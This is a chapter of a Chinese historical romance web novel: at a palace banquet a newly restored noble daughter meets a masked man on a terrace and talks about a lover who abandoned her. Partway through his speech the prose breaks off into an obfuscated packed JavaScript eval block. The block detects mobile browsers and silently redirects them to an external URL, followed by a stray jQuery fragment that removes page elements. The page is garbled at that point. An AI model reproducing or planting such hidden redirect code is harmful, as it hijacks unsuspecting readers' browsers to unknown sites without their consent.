十一月十五,瑞雪初降,圣上于太液池禁苑赐宴,以兹朝会圆满,普天同庆,广邀世家、异邦蕃客。
是夜,禁苑灯火通明,宴厅内香风脂粉,钗裙盈盈,又有觥筹交错,管弦丝竹悦耳,公子王孙作诗饮酒,才子佳人各怀春色。
阿桑端坐于软榻上,自斟自饮无意交际,却引来些许侧目。
“她就是定国公府一月前认回来的小姐啊。”
“姿容和仪态还算不错。”
“那可不!那可是礼部祁大人的妹妹,有他指导,那仪态能差到哪去?!”
众女聚在一块低声讨论着,其中一道声音更是急促又尖厉:“啊啊啊啊!祁大人!多么彬彬有礼的君子,偏偏那张脸又这么清秀,可远观而不可亵玩!”
女孩们交换眼神,又密谋着什么,忽而又羞红了脸。
正低眉着,阿桑眼前突然出现几片云锦绸缎,抬头时便见几个盛装佳人儿。
“晚棠,早些时候便听说你回府了,我们还没上门见过。我们都是同一条街上的邻居。”
“啊......各位姐姐好。”阿桑不太习惯别人称她为“晚棠”,却也只好讷讷应下。
“哎哟,晚棠的声音可真甜,”其中一黄色衣裙的高瘦女子挽住她的手,“长得水灵灵的,就连这眼睛也和祁大人一样好看呢!”
阿桑讪讪然,“额哈哈......各位姐姐也是极美的。”
“妹妹啊,你别紧张,姐姐们今天来也没别的事,就是......”黄衣女被其他人推到阿桑面前,来不及给她们一记眼刀,从袖中掏出一只簪子,“我们几个仰慕祁大人才学已久,能不能帮我们安排,让祁大人过几日来济川楼雅间开一场讲学会?”
那支簪子经几番推搡后,落在阿桑手中,她终究还是颔首应下。群女离席去了屋外的雅集,喜气洋洋地。
她们的模样,让她想起了乡间栽秧的姐妹,一边割麦,还一边对着情郎唱情歌。少女的情感总是热烈天真。
然而这一腔真心,真的能得到托付吗?
如此沮丧,无他,今日午时用膳时,祁执白告诉她阿樵留下一张字条:
【勿要寻找。】
随先生念了一个月书,终于识字,但那一刻,她却不想懂。
字迹苍劲,力透纸背,应该就是阿樵的字。
“你那情郎还是个负心人。”祁执白凝眸望着她,神色寓意不明。
这顿午饭被沉寂笼罩,阿桑风卷残云般吃下一大盆红烧肉,又夹了一大口菜放在碗里,却一点也没动。
“......小姐,能不能给老奴留块肉。”
“餐桌礼仪,阿桑,”祁执白提醒道,随后摇摇头,“唉,算了。”
“啪”地一声,筷子被拍在桌上。
“我到底算什么!我找了他这么久!就被一句‘勿要寻找’打发了?”
等到饭毕,祁执白拍拍她的肩,温声道:
“阿桑,你自然是极好的,是他有眼无珠。
不如忘了他,咱们招赘上门?”
忠叔愣了愣,“少爷,靖王世子和咱家小姐有婚约啊。”
“靖王乃太子一党,虽说居于正统,势头又盛,但......”祁执白思忖片刻,“如今朝局波诡云谲,靖王府内又不见得安生,那靖王世子......也算不得良配。”
拍了拍大腿,忠叔脸上的肉都在颤抖,“少爷,您要毁约?”
“非是毁约,我自会与持玉商议。”
“不可啊少爷!您在朝中已经够难了,再把这婚约断了,还怎么有路可走?”
......
“再难也不能靠着晚棠挣一条出路!”
主仆二人相互辩驳,阿桑冷眼看着,似是局外人。
“靖王府,很厉害吗?”
眼神一滞,祁执白却仍应了,“掌管兵部,户部,又有采邑千顷。”
“那就成了,我嫁。”
“反正世间男子也就那样,若是招赘上门,他定心有不甘,背着我不知道在外怎样乱搞呢。还不如进了靖王府,拿了钱,能继续把明玥纪开下去。”
听见明玥纪,祁执白面色沉下来。
“你就这么念着明玥纪?”那双与阿桑相似的眼中流出些许悲怆,“这么想......跑出去,不想看见我们?”
“我只是想守住母亲留下的东西。”
“很苦的,阿桑,”祁执白的说辞与忠叔一样,“此事再议吧。”
......
阿桑回过神,又饮了半杯酒。酒水清冽,却没有买花村的那坛女儿红好喝。
起身整裳,她向外走去。
————
碎雪落了一地,长廊明灯连缀成海,不远处的林子里人影幢幢,笑闹娇嗔。阿桑孤零零立在檐下,望了良久,朝那处踱去。
两个宫监将她拦下,递给她一张面纱,“小姐,请佩纱入园。”
作势系上面纱,阿桑捋了捋头发,“这是什么集会?”
“入园自知,小姐请。”
踏步入园,见其中男子俱是带着面具,女儿家系纱,三三两两,勾着小手说些体己话,有些人竟已拥在一块,更有两女一男、两男一女、三男的奇怪组合。
“姑娘,今夜寂寞,月光光心慌慌,不如与我们共赴极乐啊?”
那两男一女朝她招招手,想把这美人儿留下。
“妹妹~你是哪家的?竟不曾见过你。”
一丰腴女子悄悄近了阿桑的身,拨弄着她披风上的别扣,就要扯下她的衣服。
原来是这般雅会。
阿桑摇摇头,便欲原路离开。奈何穿花寻廊,更入密林深处,灯影渐渐稀落。她眼神四处转悠着,脚下一不当心,绊到石子。
“啊!”眼见的要摔倒,却有一只手握住她手腕。
“当心。”见她站稳,那双大手又迅速抽开了。
阿桑面前站着一个戴面具的男人,那面具眉眼镂空,山鬼纹,乌金底,在月色下映出寒芒,偏偏那唇粉得饱满,皮肤如冷玉,中和几分肃杀之气。
“多谢公子。”阿桑按礼节福身。
那双眼眸冷淡疏离,略扫了她一眼,他只微颔首,不再看她。
这一转头,倒是令阿桑生了些许兴味,“你......你也不喜欢那种场合吗?”
“对,他们太吵了。”
那男人轻笑,阿桑也跟着笑。
初雪落在两人发梢间,还不待雪落白头,男子便告辞,朝远处走去了。在那颀长的身影即将变成一个黑点时,阿桑快步跟了上去。
据说先皇为取悦宠妃,在此处建立一座高台,能俯瞰京城盛景。如今斯人已逝,高台还静静伫立。
沈鹤樵踏上石阶,便要登楼远眺,身后传来脚步声,轻盈似雪中林鹿。
“我也来看风景。”
脊兽睡了,京城还醒着。从台上望去,深蓝色的天幕包裹着家家户户,也将明宫囊入巨口。
“公子,你有没有喜欢的人啊?”
“......我不知道。”
沉默横亘于两人之间,直到阿桑慢慢开口:
“我先说吧,我有一个喜欢的人。他很好,什么都懂,就是不太爱聊自己。
明明前几个月,我们都已经私定终身了,但他突然不见了。
我找了他很久,但最后他却说要和我断掉。”
越想越生气,阿桑踢了踢地上的小石子,双手抱臂。
“这种人就是有病,”沈鹤樵的语气冷得像冰,“不爱说话不一定是不擅长说话,也可能是他自己清楚,一旦开口,藏着的那点东西就兜不住了。所以他宁可沉默,让你去猜。你猜什么,你说你喜欢他,你说你要和他一辈子,他都点头,反正他什么都没承诺过。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595261|205561||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
阿桑眸光锁着眼前的陌生男子,张大了嘴。
“这种人有个特点,他们对自己下得了狠手。你真的以为他对你温柔?”
明明说的是最毒的话,他的声音却仍温和,令人看不透情绪。
一声喟叹隐入夜风,他口中吐出一缕白雾。
“......也不全是这样,”她垂眸,仿佛陷入深思,“我照顾过他,我知道他不是那种人,他......他对我是好的,我感觉得出来。他......应该对我有感情吧?”
“自然......”声音哑然,不等阿桑反应,他又开口,“他那是温水煮青蛙,你死之前,一直觉得水是暖的。”
“我不是青蛙!”喘了一口气,她继续道,“我跳出来了!”
“是在下愚钝,那就恭喜姑娘跳出火坑。”
唯有这句话,他语调向上扬了。
“你看起来很懂这种人。”
“哈......经验之谈罢了。”
两人又一齐望向高台下。
“唉,你平时生活会很累吗?”阿桑好奇问。
“还好。”也就处理公文、和四皇子派那群人斗法、收拾部下,仅此而已,他如是想。
“我之前真觉得生活在京城挺棒的,”某处有浮光射来,阿桑伸手去够住那道微光,光却倏地熄灭,“但现在虽然生活很充实,但感觉......什么也摸不到。”
忽而一阵冷风拂过,扰乱两人鬓发,隔着发梢,沈鹤樵看见她眸光暗淡。
“可以说说吗?”
“我想开一间牙行。”
“牙行?让某猜猜,”沈鹤樵略一沉吟,“如今京城,米、粮、布行早已饱和,但奇珍古玩的生意倒是还有空间。”
“正是如此,公子聪慧。”
沈鹤樵一身玄色广袖,如鹤般孑立,月色攀上眉梢,剑眉渐渐舒展。
“可从广顺号入手。明玥纪和聚宝斋动不得,明礼行那人看似是个病秧子,但离死还远着。”
阿桑将自己的谋划与他说了,他朗然一笑,“是个好谋算。”
“但姑娘说自己‘摸不到’,是因为家中父兄阻止?”
佳人顿首肯定。
“姑娘有此气概,某钦佩不已,然女子在外受父兄阻止在所难免,”转了转玉扳指,沈鹤樵食指扣着拇指,“若是他们不关心你,那好办,把成果甩他们脸上就行,出了成果,他们自然不会再多说什么;若是他们关心你,那便难办喽。”
“看起来,公子是个享受勾心斗角的人啊。”
“某冤枉啊,某只不过是说了几句真心话,就要被认成心计。
京城这地,看上去像一件华美的袍子,掀开来看,下面爬的都是虱子。”*
台上吊着大红灯笼,灯火落在雪上,仿佛一枚朱砂印。
风发涩发苦,带着些土腥味。
“公子不爱勾心斗角,那公子喜欢什么?”阿桑探究似的。
“若某告诉你,那某在京城将如何立足?”
侧过头去,阿桑细细打量着他,他又转了转玉扳指。
阿桑想起阿樵来,养病那段时日里,他也爱转手边的东西,树枝、瓷碗、石子,什么都行。
可她又把这念头压了下去。
“我们都蒙着面,怕什么?”
“好吧,”他顿了顿,“某最爱观察别人,别人的一句话、一个小动作、一点眼神......”
忽然台下传来一阵喧哗,似是有人在寻人,他神色微变,“某先告辞。”
“等等,还没问你的名字呢!”
“某也忘了问姑娘的名字。”他把问题丢回来。
颀长身影悠悠转远,最后似乎还回了个头。
阿桑慢悠悠从高台下来,掠过一群宫婢时,听见议论——“你看到了吗?靖王世子刚才从这片林子里出来了!”